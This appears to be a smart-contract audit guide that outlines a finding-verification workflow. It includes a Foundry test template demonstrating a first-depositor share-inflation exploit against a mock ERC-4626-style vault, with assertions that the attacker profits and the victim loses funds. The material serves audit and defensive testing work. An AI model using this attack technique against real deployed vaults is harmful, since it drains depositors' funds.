audit-verification

Finding Verification & PoC Construction

Verification Workflow

Finding Hypothesis → PoC Construction → Fork Validation → Severity Classification → Report

Every finding above Informational should have a verified PoC or clear explanation of why a PoC is not feasible.

PoC Template

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test, console2} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

// Import the vulnerable contracts
import {Vault} from "../src/Vault.sol";
import {MockERC20} from "./mocks/MockERC20.sol";

contract PoCShareInflation is Test {
    Vault vault;
    MockERC20 token;

    address attacker = makeAddr("attacker");
    address victim = makeAddr("victim");

    function setUp() public {
        token = new MockERC20("USDC", "USDC", 6);
        vault = new Vault(address(token));

        // Fund actors
        token.mint(attacker, 2_000_000e6);
        token.mint(victim, 1_000_000e6);
    }

    function test_PoC_firstDepositorShareInflation() public {
        // Step 1: Attacker is first depositor
        vm.startPrank(attacker);
        token.approve(address(vault), type(uint256).max);
        vault.deposit(1, attacker); // deposit 1 wei, get 1 share
        console2.log("Attacker shares:", vault.balanceOf(attacker));

        // Step 2: Attacker donates tokens to inflate share price
        token.transfer(address(vault), 1_000_000e6);
        console2.log("Vault total assets:", vault.totalAssets());
        console2.log("Share price:", vault.totalAssets() * 1e6 / vault.totalSupply());
        vm.stopPrank();

        // Step 3: Victim deposits
        vm.startPrank(victim);
        token.approve(address(vault), type(uint256).max);
        uint256 victimShares = vault.deposit(999_999e6, victim);
        console2.log("Victim shares:", victimShares);
        vm.stopPrank();

        // Step 4: Attacker withdraws
        vm.prank(attacker);
        uint256 attackerReceived = vault.redeem(
            vault.balanceOf(attacker), attacker, attacker
        );
        console2.log("Attacker received:", attackerReceived);

        // Verify the exploit: attacker profits at victim's expense
        assertGt(attackerReceived, 1_000_000e6, "attacker should profit");
        uint256 victimLoss = 999_999e6 - vault.convertToAssets(victimShares);
        console2.log("Victim loss:", victimLoss);
        assertGt(victimLoss, 0, "victim should lose funds");
    }
}